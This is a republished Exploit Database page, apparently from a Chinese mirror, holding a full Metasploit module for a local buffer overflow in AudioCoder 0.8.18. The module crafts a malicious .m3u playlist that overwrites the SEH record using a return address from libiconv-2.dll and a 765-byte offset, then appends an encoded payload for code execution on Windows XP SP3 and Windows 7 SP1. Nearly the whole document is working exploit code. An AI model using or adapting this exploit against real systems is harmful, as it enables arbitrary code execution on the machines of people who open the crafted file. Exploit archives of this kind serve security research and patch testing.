AudioCoder – ‘.m3u’ Local Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2013-05-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/25296/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'AudioCoder .M3U Buffer Overflow',
  'Description'=> %q{
  This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
  occurs when adding an .m3u, allowing arbitrary code execution with the privileges
  of the user running AudioCoder. This module has been tested successfully on
  AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'metacom', # Vulnerability discovery and PoC
  'juan vazquez' # Metasploit module
  ],
  'References' =>
  [
  [ 'OSVDB', '92939' ],
  [ 'EDB', '25141' ]
  ],
  'DefaultOptions'=>
  {
  'EXITFUNC' => 'process'
  },
  'Platform' => 'win',
  'Payload'=>
  {
  'Space' => 6596,
  'BadChars'=> "\x00\x5c\x40\x0d\x0a",
  'DisableNops' => true,
  'StackAdjustment' => -3500,
  },
  'Targets'=>
  [
  [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
  {
  'Ret' => 0x66011b56, # ppr from libiconv-2.dll
  'Offset'=> 765
  }
  ]
  ],
  'Privileged' => false,
  'DisclosureDate' => 'May 01 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
  ], self.class)
  
  end
  
  def exploit
  buffer = "http://"
  buffer << rand_text(target['Offset'])
  buffer << generate_seh_record(target.ret)
  buffer << payload.encoded
  
  file_create(buffer)
  end
  end